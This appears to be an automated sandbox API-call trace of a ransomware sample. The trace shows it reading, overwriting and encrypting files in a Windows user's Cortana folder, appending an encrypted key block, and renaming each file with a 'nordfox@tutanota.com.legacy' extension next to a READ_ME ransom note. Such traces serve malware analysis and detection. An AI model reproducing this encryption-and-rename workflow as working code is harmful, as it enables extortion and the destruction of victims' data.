lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.index.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.799] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.799] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.799] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft", dwFileAttributes=0x80) returned 1 [0181.800] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0181.800] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=107355) returned 1 [0181.800] ReadFile (in: hFile=0x1b08, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1a35b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a35b, lpOverlapped=0x0) returned 1 [0181.803] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-107355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.803] WriteFile (in: hFile=0x1b08, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x1a35b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a35b, lpOverlapped=0x0) returned 1 [0181.803] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a35b [0181.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.804] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.804] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.804] CloseHandle (hObject=0x1b08) returned 1 [0181.804] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.ft.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.807] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.807] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0181.807] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.808] ReadFile (in: hFile=0x1b08, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.808] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.808] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.808] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.809] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.809] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.809] CloseHandle (hObject=0x1b08) returned 1 [0181.809] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.811] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0181.812] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.812] ReadFile (in: hFile=0x1b08, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.812] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.812] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.813] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.813] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.813] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.813] CloseHandle (hObject=0x1b08) returned 1 [0181.813] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0181.815] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.816] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0181.816] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=90303) returned 1 [0181.816] ReadFile (in: hFile=0x1b08, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x160bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x160bf, lpOverlapped=0x0) returned 1 [0181.818] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-90303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.818] WriteFile (in: hFile=0x1b08, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x160bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x160bf, lpOverlapped=0x0) returned 1 [0181.818] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x160bf [0181.818] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.818] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.819] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.819] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.819] CloseHandle (hObject=0x1b08) returned 1 [0181.819] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.0.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.821] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78d8f9a0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xf8a70d7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73530 [0181.821] SetLastError (dwErrCode=0x0) [0181.821] GetLastError () returned 0x0 [0181.821] SetLastError (dwErrCode=0x0) [0181.821] GetLastError () returned 0x0 [0181.821] SetLastError (dwErrCode=0x0) [0181.821] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78d8f9a0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xf8a70d7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.821] SetLastError (dwErrCode=0x0) [0181.821] GetLastError () returned 0x0 [0181.821] SetLastError (dwErrCode=0x0) [0181.821] GetLastError () returned 0x0 [0181.821] SetLastError (dwErrCode=0x0) [0181.821] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794c67e3, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x794c67e3, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x79512c77, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x160bf, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0181.821] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79512c77, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x79512c77, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x79512c77, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79512c77, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x79512c77, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x79512c77, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a70d7c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a70d7c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a70d7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.822] SetLastError (dwErrCode=0x0) [0181.822] GetLastError () returned 0x0 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799c29bd, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x799c29bd, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a35b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings.ft", cAlternateFileName="")) returned 1 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] GetLastError () returned 0x0 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] GetLastError () returned 0x0 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794a058d, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x794a058d, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 1 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] GetLastError () returned 0x0 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] GetLastError () returned 0x0 [0181.823] SetLastError (dwErrCode=0x0) [0181.823] FindNextFileW (in: hFindFile=0x2f73530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794a058d, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x794a058d, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x799c29bd, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 0 [0181.823] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.823] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0181.823] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index", dwFileAttributes=0x80) returned 1 [0181.824] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\settings.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0181.824] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=532987) returned 1 [0181.826] ReadFile (in: hFile=0x1b0c, lpBuffer=0x6fd020, nNumberOfBytesToRead=0x821fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x821fb, lpOverlapped=0x0) returned 1 [0181.866] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-532987, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.866] WriteFile (in: hFile=0x1b0c, lpBuffer=0x3d28020*, nNumberOfBytesToWrite=0x821fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d28020*, 